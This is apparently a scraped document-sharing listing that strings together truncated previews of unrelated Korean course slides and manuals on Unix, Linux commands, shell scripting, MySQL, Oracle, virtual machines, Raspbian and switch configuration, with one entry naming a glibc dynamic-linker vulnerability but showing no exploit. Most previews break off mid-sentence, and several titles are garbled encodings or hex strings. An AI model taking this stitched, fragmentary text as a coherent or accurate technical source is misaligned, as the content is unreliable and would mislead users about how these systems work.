슬라이드 1 / 유닉스시스템개요 / 파일 / 프로세스 01 File Descriptor file file descriptor file type unix 에서의파일은단지바이트들의나열임 operating system 은파일에어떤포맷도부과하지않음 파일의내용은바이트단위로주소를줄수있음 file descriptor 는 0 이나양수임 file 은 open 이나 creat 로 file

More information

01Àå

01Àå CHAPTER 01 1 Fedora Fedora Linux Toolbox 2003 Fedora Core( ) http://fedoraproject.org www.redhat.com 2 CHAPTER Fedora RHEL GNU public license www.centos.org www.yellowdoglinux.com www. lineox.net www.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 (Host) set up : Linux Backend RS-232, Ethernet, parallel(jtag) Host terminal Target terminal : monitor (Minicom) JTAG Cross compiler Boot loader Pentium Redhat 9.0 Serial port Serial cross cable Ethernet

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 BASIC COMMANDS Jo, Heeseung ITER 서버 iterx.jbnu.ac.kr (X: 1,2) Dell PowerEdge R415 AMD Opteron(tm) Processor 4180-6 core x 2ea Memory: 32 GB HDD: SCSI 450 GB 주의사항 자료백업없음 동영상등의불필요파일업로드금지 2 LINUX 접속 Client

More information

MySQL-Ch10

MySQL-Ch10 10 Chapter.,,.,, MySQL. MySQL mysqld MySQL.,. MySQL. MySQL....,.,..,,.,. UNIX, MySQL. mysqladm mysqlgrp. MySQL 608 MySQL(2/e) Chapter 10 MySQL. 10.1 (,, ). UNIX MySQL, /usr/local/mysql/var, /usr/local/mysql/data,

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 BASIC COMMANDS Jo, Heeseung ITER 서버 iterx.jbnu.ac.kr (X: 1,2) Dell PowerEdge R415 AMD Opteron(tm) Processor 4180-6 core x 2ea Memory: 32 GB HDD: SCSI 450 GB 주의사항 자료백업없음 동영상등의불필요파일업로드금지 2 LINUX 접속 Client

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Install Linux Jo, Heeseung Download Programs On the class web page 2 가상머신 (Virtual Machine) 의소개 지금쓰는 Windows 를그대로사용하면서도여러대의리눅스서버를운영하는효과를내는프로그램 1 대의 PC 에서추가로 3 개의가상머신을구동한화면 3 Virtual Machines Host computer

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Deep Learning 작업환경조성 & 사용법 ISL 안재원 Ubuntu 설치 작업환경조성 접속방법 사용예시 2 - ISO file Download www.ubuntu.com Ubuntu 설치 3 - Make Booting USB Ubuntu 설치 http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/

More information

Microsoft PowerPoint - chap01-C언어개요.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을

More information

Microsoft PowerPoint - 02_Linux_Fedora_Core_8_Vmware_Installation [호환 모드]

Microsoft PowerPoint - 02_Linux_Fedora_Core_8_Vmware_Installation [호환 모드] 리눅스 설치 Vmware를 이용한 Fedora Core 8 설치 소프트웨어실습 1 Contents 가상 머신 실습 환경 구축 Fedora Core 8 설치 가상 머신 가상 머신 가상 머신의 개념 VMware의 설치 VMware : 가상 머신 생성 VMware의 특징 실습 환경 구축 실습 환경 구축 Fedora Core 8 설치 가상 머신의 개념 가상 머신 (Virtual

More information

Raspbian 설치 라즈비안 OS (Raspbian OS) 라즈베리파이 3 Model B USB 마우스 USB 키보드 마이크로 SD 카드 마이크로 SD 카드리더기 HDM I 케이블모니터

Raspbian 설치 라즈비안 OS (Raspbian OS) 라즈베리파이 3 Model B USB 마우스 USB 키보드 마이크로 SD 카드 마이크로 SD 카드리더기 HDM I 케이블모니터 운영체제실습 Raspbian 설치 2017. 3 표월성 wspyo74@naver.com cherub.sungkyul.ac.kr 목차 Ⅰ. 설치 1. 라즈비안 (Raspbian 설치 ) 2. 설치후, 설정 설정사항 Raspbian 설치 라즈비안 OS (Raspbian OS) 라즈베리파이 3 Model B USB 마우스 USB 키보드 마이크로 SD 카드 마이크로

More information

Integ

Integ HP Integrity HP Chipset Itanium 2(Processor 9100) HP Integrity HP, Itanium. HP Integrity Blade BL860c HP Integrity Blade BL870c HP Integrity rx2660 HP Integrity rx3600 HP Integrity rx6600 2 HP Integrity

More information

PCServerMgmt7

PCServerMgmt7 Web Windows NT/2000 Server DP&NM Lab 1 Contents 2 Windows NT Service Provider Management Application Web UI 3 . PC,, Client/Server Network 4 (1),,, PC Mainframe PC Backbone Server TCP/IP DCS PLC Network

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 오픈소스소프트웨어개발입문 (CP33992) Linux 명령어사용법 부산대학교공과대학정보컴퓨터공학부 학습목표 리눅스시스템에서프로그래밍을개발하는데유용한다양한유닉스 쉘명령어사용법을알수있다. 2 C 프로그래밍기초연습 아래의프로그램을 vi 로작성하시오 $ vi myprog.c #include int main() { printf( Hello Linux\n

More information

Adobe Flash 취약점 분석 (CVE-2012-0754)

Adobe Flash 취약점 분석 (CVE-2012-0754) 기술문서 14. 08. 13. 작성 GNU C library dynamic linker $ORIGIN expansion Vulnerability Author : E-Mail : 윤지환 131ackcon@gmail.com Abstract 2010 년 Tavis Ormandy 에 의해 발견된 취약점으로써 정확한 명칭은 GNU C library dynamic linker

More information

chap2

chap2 Lecture 02: 리눅스사용 상지대학교컴퓨터공학과고광만 kkman@sangji.ac.kr http://compiler.sangji.ac.kr 2018 2.1 기본명령어 간단한명령어사용 $ date $ hostname $ uname $ who $ ls $ clear $ passwd 3 2.2 파일및디렉터리 파일의종류 l 일반파일 (ordinary file)

More information

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자 SQL Developer Connect to TimesTen 유니원아이앤씨 DB 팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 2010-07-28 작성자 김학준 최종수정일 2010-07-28 문서번호 20100728_01_khj 재개정이력 일자내용수정인버전

More information

Windows 8에서 BioStar 1 설치하기

Windows 8에서 BioStar 1 설치하기 / 콘텐츠 테이블... PC에 BioStar 1 설치 방법... Microsoft SQL Server 2012 Express 설치하기... Running SQL 2012 Express Studio... DBSetup.exe 설정하기... BioStar 서버와 클라이언트 시작하기... 1 1 2 2 6 7 1/11 BioStar 1, Windows 8 BioStar

More information

C# Programming Guide - Types

C# Programming Guide - Types C# Programming Guide - Types 최도경 lifeisforu@wemade.com 이문서는 MSDN 의 Types 를요약하고보충한것입니다. http://msdn.microsoft.com/enus/library/ms173104(v=vs.100).aspx Types, Variables, and Values C# 은 type 에민감한언어이다. 모든

More information

Linux SHELL

Linux SHELL Linux SHELL SHELL? 리눅스는크게커널, 쉘, 사용자프로그램으로분류 커널은운영체제의핵심으로서메모리나프로세서등을관리하며시스템을제어하는역할을함 사용자프로그램은일반적으로사용하는 SSH, FTP, HTTP 등의프로그램등을말함 쉘은커널과직접적으로연결되어사용자가프로그램에서실행시킨명령어를해석하여그결과를커널로보내는역할을함 ( 명령어해석기 ) 다양한종류가있으며사용자의활용도와사용목적에따라각각에맞는쉘을선택해서사용할수있음

More information

Copyright 0, Oracle and/or its affiliates. All rights reserved.,.,,,,,,,,,,,,.,...,. U.S. GOVERNMENT RIGHTS Programs, software, databases, and related

Copyright 0, Oracle and/or its affiliates. All rights reserved.,.,,,,,,,,,,,,.,...,. U.S. GOVERNMENT RIGHTS Programs, software, databases, and related Virtual Machine Sun Fire X4800 M : E4570 0 8 Copyright 0, Oracle and/or its affiliates. All rights reserved.,.,,,,,,,,,,,,.,...,. U.S. GOVERNMENT RIGHTS Programs, software, databases, and related documentation

More information

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O Orange for ORACLE V4.0 Installation Guide ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE...1 1....2 1.1...2 1.2...2 1.2.1...2 1.2.2 (Online Upgrade)...11 1.3 ORANGE CONFIGURATION ADMIN...12 1.3.1 Orange Configuration

More information

본문서는 초급자들을 대상으로 최대한 쉽게 작성하였습니다. 본문서에서는 설치방법만 기술했으며 자세한 설정방법은 검색을 통하시기 바랍니다. 1. 설치개요 워드프레스는 블로그 형태의 홈페이지를 빠르게 만들수 있게 해 주는 프로그램입니다. 다양한 기능을 하는 플러그인과 디자인

본문서는 초급자들을 대상으로 최대한 쉽게 작성하였습니다. 본문서에서는 설치방법만 기술했으며 자세한 설정방법은 검색을 통하시기 바랍니다. 1. 설치개요 워드프레스는 블로그 형태의 홈페이지를 빠르게 만들수 있게 해 주는 프로그램입니다. 다양한 기능을 하는 플러그인과 디자인 스마일서브 CLOUD_Virtual 워드프레스 설치 (WORDPRESS INSTALL) 스마일서브 가상화사업본부 Update. 2012. 09. 04. 본문서는 초급자들을 대상으로 최대한 쉽게 작성하였습니다. 본문서에서는 설치방법만 기술했으며 자세한 설정방법은 검색을 통하시기 바랍니다. 1. 설치개요 워드프레스는 블로그 형태의 홈페이지를 빠르게 만들수 있게

More information

Microsoft PowerPoint 통신 및 압축 명령어.ppt

Microsoft PowerPoint 통신 및 압축 명령어.ppt 컴퓨터특강 () 2006 년봄학기 문양세강원대학교컴퓨터과학과 PING 원격지컴퓨터의상태 (accessible 여부 ) 를확인 $ ping host-name // alive or dead check $ ping s host-name // packet 송수신확인 Page 2 1 TELNET (1/4) telnet 은원격지에있는상대방컴퓨터에자신의컴퓨터를접속하여,

More information

운영체제실습_명령어

운영체제실습_명령어 운영체제실습 리눅스네트워크기본개념및설정 서 기옥 Contents 네트워크용어정의 IP 주소 네트워크기본명령어 네트워크관리명령어 네트워크설정파일 telnet 서버설정 네트워크용어정의 네트워크 (Network) : 전자적으로데이터를주고받기위한목적으로연결된 2 개이상의컴퓨터시스템 IP 주소와 Ethernet 주소 IP 주소 : 네트워크에연결된시스템을구분하는소프트웨어적인주소

More information

Level 학습 성과 내용 1수준 (이해) 1. 기본적인 Unix 이용법(명령어 또는 tool 활용)을 습득한다. 2. Unix 운영체계 설치을 익힌다. 모듈 학습성과 2수준 (응용) 1. Unix 가상화 및 이중화 개념을 이해한다. 2. 하드디스크의 논리적 구성 능력

Level 학습 성과 내용 1수준 (이해) 1. 기본적인 Unix 이용법(명령어 또는 tool 활용)을 습득한다. 2. Unix 운영체계 설치을 익힌다. 모듈 학습성과 2수준 (응용) 1. Unix 가상화 및 이중화 개념을 이해한다. 2. 하드디스크의 논리적 구성 능력 CLD 모듈 계획서 Unix Systems 운영관리기법 교과목 코드 모듈명 Unix Systems Administration 코디네이터 김두연 개설 시기 2015. 5 th term 학점/시수 3 수강 대상 1~3학년 분반 POL Type TOL Type SOS Type 유형 소프트웨어 개발 컴퓨팅 플랫폼 관리 개발 역량 분석/설계 프로그래밍

More information

Remote UI Guide

Remote UI Guide Remote UI KOR Remote UI Remote UI PDF Adobe Reader/Adobe Acrobat Reader. Adobe Reader/Adobe Acrobat Reader Adobe Systems Incorporated.. Canon. Remote UI GIF Adobe Systems Incorporated Photoshop. ..........................................................

More information

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx To be an Android Expert 문양세강원대학교 IT 대학컴퓨터학부 Eclipse (IDE) JDK Android SDK with ADT IDE: Integrated Development Environment JDK: Java Development Kit (Java SDK) ADT: Android Development Tools 2 JDK 설치 Eclipse

More information

Microsoft Word - zfs-storage-family_ko.doc

Microsoft Word - zfs-storage-family_ko.doc 데이터 관리 용이성과 스토리지 효율성을 하나로 결합 주요 기능 및 이점 획기적인 가격 대비 성능과 혁신적인 단순성을 하나로 결합 특징 문제를 손쉽게 발견 및 수정하고 성능을 최적화할 수 있는 탁월한 관리 툴 포괄적이고 통합된 데이터 서비스 및 프로토콜 액티브-액티브 클러스터 옵션 데이터 압축 및 인라인 중복 제거 지속적인 데이터 증가로 인해 오늘날 IT 인프라는

More information

DE1-SoC Board

DE1-SoC Board 실습 1 개발환경 DE1-SoC Board Design Tools - Installation Download & Install Quartus Prime Lite Edition http://www.altera.com/ Quartus Prime (includes Nios II EDS) Nios II Embedded Design Suite (EDS) is automatically

More information

vm-웨어-01장

vm-웨어-01장 Chapter 16 21 (Agenda). (Green),., 2010. IT IT. IT 2007 3.1% 2030 11.1%, IT 2007 1.1.% 2030 4.7%, 2020 4 IT. 1 IT, IT. (Virtualization),. 2009 /IT 2010 10 2. 6 2008. 1970 MIT IBM (Mainframe), x86 1. (http

More information

Linux SHELL

Linux SHELL Linux SHELL SHELL? 리눅스는크게커널, 쉘, 사용자프로그램으로분류 커널은운영체제의핵심으로서메모리나프로세서등을관리하며시스템을제어하는역할을함 사용자프로그램은일반적으로사용하는 SSH, FTP, HTTP 등의프로그램등을말함 쉘은커널과직접적으로연결되어사용자가프로그램에서실행시킨명령어를해석하여그결과를커널로보내는역할을함 ( 명령어해석기 ) 다양한종류가있으며사용자의활용도와사용목적에따라각각에맞는쉘을선택해서사용할수있음

More information

Microsoft PowerPoint UNIX Shell.ppt

Microsoft PowerPoint UNIX Shell.ppt 컴퓨터특강 () 2006 년봄학기 문양세강원대학교컴퓨터과학과 Shell? Shell이란명령어해석기 (Command Processor or Command Interpreter): 사용자가입력하는명령을읽고해석하는프로그램프로그래밍언어 : Shell이해석할수있는스크립트 (shell script) 라는프로그램을작성유닉스를사용하는데있어주요한인터페이스 Page 2 1 Shell

More information

Microsoft Word - s.doc

Microsoft Word - s.doc 오라클 백서 2010년 9월 WebLogic Suite를 위해 최적화된 오라클 솔루션 비즈니스 백서 개요...1 들어가는 글...2 통합 웹 서비스 솔루션을 통해 비즈니스 혁신 추구...3 단순화...4 기민한 환경 구축...5 탁월한 성능 경험...6 판도를 바꾸고 있는 플래시 기술...6 오라클 시스템은 세계 최고의 성능 제공...6 절감 효과 극대화...8

More information

10X56_NWG_KOR.indd

10X56_NWG_KOR.indd 디지털 프로젝터 X56 네트워크 가이드 이 제품을 구입해 주셔서 감사합니다. 본 설명서는 네트워크 기능 만을 설명하기 위한 것입니다. 본 제품을 올바르게 사 용하려면 이 취급절명저와 본 제품의 다른 취급절명저를 참조하시기 바랍니다. 중요한 주의사항 이 제품을 사용하기 전에 먼저 이 제품에 대한 모든 설명서를 잘 읽어 보십시오. 읽은 뒤에는 나중에 필요할 때

More information

Microsoft PowerPoint - 02-Shell-Programming

Microsoft PowerPoint - 02-Shell-Programming 2. 쉘프로그래밍 상명대학교소프트웨어학부 쉘 (Shell) 쉘 : 명령어해석기 단말기나파일로부터입력된명령을해석하여적절한명령을실행 시스템환경변경, 명령어입력편의를제공 쉘의종류 Bourne Shell(sh) /bin/sh Korn Shell(ksh) /bin/ksh C Shell(csh) /bin/csh Bourne Again Shell(bash) /bin/bash

More information

Chapter 1

Chapter 1 3 Oracle 설치 Objectives Download Oracle 11g Release 2 Install Oracle 11g Release 2 Download Oracle SQL Developer 4.0.3 Install Oracle SQL Developer 4.0.3 Create a database connection 2 Download Oracle 11g

More information

Interstage5 SOAP서비스 설정 가이드

Interstage5 SOAP서비스 설정 가이드 Interstage 5 Application Server ( Solaris ) SOAP Service Internet Sample Test SOAP Server Application SOAP Client Application CORBA/SOAP Server Gateway CORBA/SOAP Gateway Client INTERSTAGE SOAP Service

More information

Microsoft PowerPoint UNIX Shell.pptx

Microsoft PowerPoint UNIX Shell.pptx UNIX SHELL 문양세강원대학교 IT 특성화대학컴퓨터과학전공 Shell? Shell 이란명령어해석기 (Command Processor or Command Interpreter): 사용자가입력하는명령을읽고해석하는프로그램 프로그래밍언어 : Shell 이해석할수있는스크립트 (shell script) 라는프로그램을작성 유닉스를사용하는데있어주요한인터페이스 Page

More information

본교재는수업용으로제작된게시물입니다. 영리목적으로사용할경우저작권법제 30 조항에의거법적처벌을받을수있습니다. [ 실습 ] 스위치장비초기화 1. NVRAM 에저장되어있는 'startup-config' 파일이있다면, 삭제를실시한다. SWx>enable SWx#erase sta

본교재는수업용으로제작된게시물입니다. 영리목적으로사용할경우저작권법제 30 조항에의거법적처벌을받을수있습니다. [ 실습 ] 스위치장비초기화 1. NVRAM 에저장되어있는 'startup-config' 파일이있다면, 삭제를실시한다. SWx>enable SWx#erase sta [ 실습 ] 스위치장비초기화 1. NVRAM 에저장되어있는 'startup-config' 파일이있다면, 삭제를실시한다. SWx>enable SWx#erase startup-config Erasing the nvram filesystem will remove all configuration files Continue? [confirm] ( 엔터 ) [OK] Erase

More information

Microsoft PowerPoint - 11주차_Android_GoogleMap.ppt [호환 모드]

Microsoft PowerPoint - 11주차_Android_GoogleMap.ppt [호환 모드] Google Map View 구현 학습목표 교육목표 Google Map View 구현 Google Map 지원 Emulator 생성 Google Map API Key 위도 / 경도구하기 위도 / 경도에따른 Google Map View 구현 Zoom Controller 구현 Google Map View (1) () Google g Map View 기능 Google

More information

1217 WebTrafMon II

1217 WebTrafMon II (1/28) (2/28) (10 Mbps ) Video, Audio. (3/28) 10 ~ 15 ( : telnet, ftp ),, (4/28) UDP/TCP (5/28) centralized environment packet header information analysis network traffic data, capture presentation network

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

문서 대제목

문서 대제목 Linux OS Backup 교육자료 v1.1 2013. 12. 27. 이스턴네트웍스 기술지원팀전흥수 목차 1. Linux OS Backup & Cloning Layout 2. Solution Install & Configuration 3. Recovery Procedure 4. Reference Site - 1 - 1. Linux OS Backup / Cloning

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 사용자계정관리 운영체제실습 목차 Ⅲ. 사용자계정관리 4.1 사용자계정관리 4.2 그룹관리 4.3 사용자계정관련파일 4.4 패스워드관리 4.5 사용자신분확인 4.1 사용자계정관리 사용자생성관련명령어 사용자생성 : useradd / adduser 사용자삭제 : userdel 사용자정보변경 : usermod 패스워드설정및변경 : passwd 그룹생성관련명령어 group

More information

단계

단계 본문서에서는 Tibero RDBMS 에서제공하는 Oracle DB Link 를위한 gateway 설치및설정방법과 Oracle DB Link 사용법을소개한다. Contents 1. TIBERO TO ORACLE DB LINK 개요... 3 1.1. GATEWAY 란... 3 1.2. ORACLE GATEWAY... 3 1.3. GATEWAY 디렉터리구조...

More information

Sena Technologies, Inc. HelloDevice Super 1.1.0

Sena Technologies, Inc. HelloDevice Super 1.1.0 HelloDevice Super 110 Copyright 1998-2005, All rights reserved HelloDevice 210 ()137-130 Tel: (02) 573-5422 Fax: (02) 573-7710 E-Mail: support@senacom Website: http://wwwsenacom Revision history Revision

More information

Unix & Linux 개요 Company 서울대학교통계학과 2010년 2학기컴퓨터의개념및실습 ( Thanks to: cancho & facewhite from SPARC/KAIST, Bruce La Plante fro

Unix & Linux 개요 Company 서울대학교통계학과 2010년 2학기컴퓨터의개념및실습 (  Thanks to: cancho & facewhite from SPARC/KAIST, Bruce La Plante fro Uix & Liux 개요 Compay Logo @ 서울대학교통계학과 2010년 2학기컴퓨터의개념및실습 (http://dcom10.ez.ro/) Thaks to: cacho & facewhite from SPARC/KAIST, Bruce La Plate from Uiversity of Wiscosi, http://liuxvm.org, ad Wikipedia 목차

More information

목차 윈도우드라이버 1. 매뉴얼안내 운영체제 (OS) 환경 윈도우드라이버준비 윈도우드라이버설치 Windows XP/Server 2003 에서설치 Serial 또는 Parallel 포트의경우.

목차 윈도우드라이버 1. 매뉴얼안내 운영체제 (OS) 환경 윈도우드라이버준비 윈도우드라이버설치 Windows XP/Server 2003 에서설치 Serial 또는 Parallel 포트의경우. 소프트웨어매뉴얼 윈도우드라이버 Rev. 3.03 SLP-TX220 / TX223 SLP-TX420 / TX423 SLP-TX400 / TX403 SLP-DX220 / DX223 SLP-DX420 / DX423 SLP-DL410 / DL413 SLP-T400 / T403 SLP-T400R / T403R SLP-D220 / D223 SLP-D420 / D423

More information

Install stm32cubemx and st-link utility

Install stm32cubemx and st-link utility STM32CubeMX and ST-LINK Utility for STM32 Development 본문서는 ST Microelectronics 의 ARM Cortex-M 시리즈 Microcontroller 개발을위해제공되는 STM32CubeMX 와 STM32 ST-LINK Utility 프로그램의설치과정을설명합니다. 본문서는 Microsoft Windows 7

More information

28 THE ASIAN JOURNAL OF TEX [2] ko.tex [5]

28 THE ASIAN JOURNAL OF TEX [2] ko.tex [5] The Asian Journal of TEX, Volume 3, No. 1, June 2009 Article revision 2009/5/7 KTS THE KOREAN TEX SOCIETY SINCE 2007 2008 ko.tex Installing TEX Live 2008 and ko.tex under Ubuntu Linux Kihwang Lee * kihwang.lee@ktug.or.kr

More information

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D313939392D382E687770>

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D313939392D382E687770> i ii iii iv v vi 1 2 3 4 가상대학 시스템의 국내외 현황 조사 가상대학 플랫폼 개발 이상적인 가상대학시스템의 미래상 제안 5 웹-기반 가상대학 시스템 전통적인 교수 방법 시간/공간 제약을 극복한 학습동기 부여 교수의 일방적인 내용전달 교수와 학생간의 상호작용 동료 학생들 간의 상호작용 가상대학 운영 공지사항,강의록 자료실, 메모 질의응답,

More information

Mango-IMX6Q mfgtool을 이용한 이미지 Write하기

Mango-IMX6Q mfgtool을 이용한 이미지 Write하기 Mango-IMX6Q mfgtool 을 이용한이미지 Write 하기 http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys CRZ Technology 1 Document

More information

<4D F736F F F696E74202D203137C0E55FBFACBDC0B9AEC1A6BCD6B7E7BCC72E707074>

<4D F736F F F696E74202D203137C0E55FBFACBDC0B9AEC1A6BCD6B7E7BCC72E707074> SIMATIC S7 Siemens AG 2004. All rights reserved. Date: 22.03.2006 File: PRO1_17E.1 차례... 2 심벌리스트... 3 Ch3 Ex2: 프로젝트생성...... 4 Ch3 Ex3: S7 프로그램삽입... 5 Ch3 Ex4: 표준라이브러리에서블록복사... 6 Ch4 Ex1: 실제구성을 PG 로업로드하고이름변경......

More information

Microsoft Word - src.doc

Microsoft Word - src.doc IPTV 서비스탐색및콘텐츠가이드 RI 시스템운용매뉴얼 목차 1. 서버설정방법... 5 1.1. 서비스탐색서버설정... 5 1.2. 컨텐츠가이드서버설정... 6 2. 서버운용방법... 7 2.1. 서비스탐색서버운용... 7 2.1.1. 서비스가이드서버실행... 7 2.1.2. 서비스가이드정보확인... 8 2.1.3. 서비스가이드정보추가... 9 2.1.4. 서비스가이드정보삭제...

More information

휠세미나3 ver0.4

휠세미나3 ver0.4 andromeda@sparcs:/$ ls -al dev/sda* brw-rw---- 1 root disk 8, 0 2014-06-09 18:43 dev/sda brw-rw---- 1 root disk 8, 1 2014-06-09 18:43 dev/sda1 brw-rw---- 1 root disk 8, 2 2014-06-09 18:43 dev/sda2 andromeda@sparcs:/$

More information

Assign an IP Address and Access the Video Stream - Installation Guide

Assign an IP Address and Access the Video Stream - Installation Guide 설치 안내서 IP 주소 할당 및 비디오 스트림에 액세스 책임 본 문서는 최대한 주의를 기울여 작성되었습니다. 잘못되거나 누락된 정보가 있는 경우 엑시스 지사로 알려 주시기 바랍니다. Axis Communications AB는 기술적 또는 인쇄상의 오류에 대해 책 임을 지지 않으며 사전 통지 없이 제품 및 설명서를 변경할 수 있습니다. Axis Communications

More information

Discrete Mathematics

Discrete Mathematics 컴퓨터특강 () 2005 년봄학기 문양세컴퓨터과학과강원대학교자연과학대학 PING 원격지컴퓨터의상태 (accessible 여부 ) 를확인 $ ping host-name // alive or dead check $ ping s host-name // packet 송수신확인 Page 2 TELNET (1/4) telnet 은원격지에있는상대방컴퓨터에자신의컴퓨터를접속하여,

More information

MAX+plus II Getting Started - 무작정따라하기

MAX+plus II Getting Started - 무작정따라하기 무작정 따라하기 2001 10 4 / Version 20-2 0 MAX+plus II Digital, Schematic Capture MAX+plus II, IC, CPLD FPGA (Logic) ALTERA PLD FLEX10K Series EPF10K10QC208-4 MAX+plus II Project, Schematic, Design Compilation,

More information

벤처연구사업(전동휠체어) 평가

벤처연구사업(전동휠체어) 평가 운영체제실습 리눅스기본명령어 2019. 4 표월성 wspyo74@naver.com cherub.sungkyul.ac.kr 목차 Ⅰ. 기본명령어 1. 시스템정보 2. 파일및디렉토리명령어 시스템정보 1. 시스템정보출력 시스템정보출력 uname - 시스템정보출력 파일및디렉토리관련 명령어 파일및디렉토리 파일 (File) - 데이터를저장하기위해사용되는객체 ( 텍스트파일,

More information

Microsoft PowerPoint - 05_(Linux)_(Fundamental)_Shell_Programming

Microsoft PowerPoint - 05_(Linux)_(Fundamental)_Shell_Programming GNU/Linux 쉘프로그래밍 (Shell Programming) Seo, Doo-Ok Clickseo.com clickseo@gmail.com 목 차 유닉스쉘 GNU Bash 2 유닉스쉘 (1/10) 쉘 (Shell) 운영체제기능과서비스구현을위해인터페이스제공하는프로그램 명령어를실행시키는명령어해석기 사용자의명령어를입력받아기계어의형태로변환하여커널에전달하는인터페이스역할

More information

vm-웨어-앞부속

vm-웨어-앞부속 VMware vsphere 4 This document was created using the official VMware icon and diagram library. Copyright 2009 VMware, Inc. All rights reserved. This product is protected by U.S. and international copyright

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 BOOTLOADER Jo, Heeseung 부트로더컴파일 부트로더소스복사및압축해제 부트로더소스는웹페이지에서다운로드 /working 디렉터리로이동한후, wget으로다운로드 이후작업은모두 /working 디렉터리에서진행 root@ubuntu:# cp /media/sm5-linux-111031/source/platform/uboot-s4210.tar.bz2 /working

More information

(SW3704) Gingerbread Source Build & Working Guide

(SW3704) Gingerbread Source Build & Working Guide (Mango-M32F4) Test Guide http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys CRZ Technology 1 Document History

More information

10 강. 쉘스크립트 l 쉘스크립트 Ÿ 쉘은명령어들을연속적으로실행하는인터프리터환경을제공 Ÿ 쉘스크립트는제어문과변수선언등이가능하며프로그래밍언어와유사 Ÿ 프로그래밍언어와스크립트언어 -프로그래밍언어를사용하는경우소스코드를컴파일하여실행가능한파일로만들어야함 -일반적으로실행파일은다

10 강. 쉘스크립트 l 쉘스크립트 Ÿ 쉘은명령어들을연속적으로실행하는인터프리터환경을제공 Ÿ 쉘스크립트는제어문과변수선언등이가능하며프로그래밍언어와유사 Ÿ 프로그래밍언어와스크립트언어 -프로그래밍언어를사용하는경우소스코드를컴파일하여실행가능한파일로만들어야함 -일반적으로실행파일은다 10 강. 쉘스크립트 쉘스크립트 쉘은명령어들을연속적으로실행하는인터프리터환경을제공 쉘스크립트는제어문과변수선언등이가능하며프로그래밍언어와유사 프로그래밍언어와스크립트언어 -프로그래밍언어를사용하는경우소스코드를컴파일하여실행가능한파일로만들어야함 -일반적으로실행파일은다른운영체제로이식되지않음 -스크립트언어를사용하면컴파일과정이없고인터프리터가소스파일에서명령문을판독하여각각의명령을수행

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Install the PDI on CentOS 2013.04 G L O B E P O I N T 1 Ⅰ linux 구성 II Pentaho Install 2013, Globepoint Inc. All Rights Reserved. 2 I. Linux 구성 2013, Globepoint Inc. All Rights Reserved. 3 IP 설정 1. 설정파일

More information

EndNote X2 초급 분당차병원도서실사서최근영 ( )

EndNote X2 초급 분당차병원도서실사서최근영 ( ) EndNote X2 초급 2008. 9. 25. 사서최근영 (031-780-5040) EndNote Thomson ISI Research Soft의 bibliographic management Software 2008년 9월현재 X2 Version 사용 참고문헌 (Reference), Image, Fulltext File 등 DB 구축 참고문헌 (Reference),

More information

Microsoft PowerPoint SDK설치.HelloAndroid(1.5h).pptx

Microsoft PowerPoint SDK설치.HelloAndroid(1.5h).pptx To be an Android Expert 문양세강원대학교 IT 대학컴퓨터학부 개발환경구조및설치순서 JDK 설치 Eclipse 설치 안드로이드 SDK 설치 ADT(Androd Development Tools) 설치 AVD(Android Virtual Device) 생성 Hello Android! 2 Eclipse (IDE) JDK Android SDK with

More information

Microsoft PowerPoint - 권장 사양

Microsoft PowerPoint - 권장 사양 Autodesk 제품컴퓨터사양 PRONETSOFT.CO 박경현 1 AutoCAD 시스템사양 시스템요구사양 32 비트 AutoCAD 2009 를위한시스템요구사항 Intel Pentium 4 프로세서 2.2GHz 이상, 또는 Intel 또는 AMD 듀얼 코어프로세서 16GH 1.6GHz 이상 Microsoft Windows Vista, Windows XP Home

More information

Secure Programming Lecture1 : Introduction

